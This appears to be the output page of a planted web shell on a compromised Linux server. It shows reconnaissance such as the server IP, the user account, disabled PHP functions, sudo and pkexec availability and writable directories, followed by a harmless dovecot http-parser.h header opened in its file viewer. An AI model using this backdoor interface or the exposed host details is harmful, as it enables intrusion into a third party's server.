403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/usr/include/dovecot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/usr/include/dovecot//http-parser.h
#ifndef HTTP_PARSER_H
#define HTTP_PARSER_H

/*
 * Character definitions
 */

extern const unsigned char _http_token_char_mask;
extern const unsigned char _http_value_char_mask;
extern const unsigned char _http_text_char_mask;
extern const unsigned char _http_qdtext_char_mask;
extern const unsigned char _http_ctext_char_mask;
extern const unsigned char _http_token68_char_mask;

extern const unsigned char _http_char_lookup[256];

static inline bool http_char_is_token(unsigned char ch) {
	return (_http_char_lookup[ch] & _http_token_char_mask) != 0;
}

static inline bool http_char_is_value(unsigned char ch) {
	return (_http_char_lookup[ch] & _http_value_char_mask) != 0;
}

static inline bool http_char_is_text(unsigned char ch) {
	return (_http_char_lookup[ch] & _http_text_char_mask) != 0;
}

static inline bool http_char_is_qdtext(unsigned char ch) {
	return (_http_char_lookup[ch] & _http_qdtext_char_mask) != 0;
}

static inline bool http_char_is_ctext(unsigned char ch) {
	return (_http_char_lookup[ch] & _http_ctext_char_mask) != 0;
}

static inline bool http_char_is_token68(unsigned char ch) {
	return (_http_char_lookup[ch] & _http_token68_char_mask) != 0;
}

/*
 * HTTP value parsing
 */

struct http_parser {
	const unsigned char *begin, *cur, *end;
};

void http_parser_init(struct http_parser *parser,
			const unsigned char *data, size_t size);

void http_parse_ows(struct http_parser *parser);

int http_parser_skip_token(struct http_parser *parser);
int http_parse_token(struct http_parser *parser, const char **token_r);
int http_parse_token_list_next(struct http_parser *parser,
	const char **token_r);

int http_parse_quoted_string(struct http_parser *parser, const char **str_r);
int http_parse_token_or_qstring(struct http_parser *parser,
	const char **word_r);

#endif

Youez - 2016 - github.com/yon3zu
LinuXploit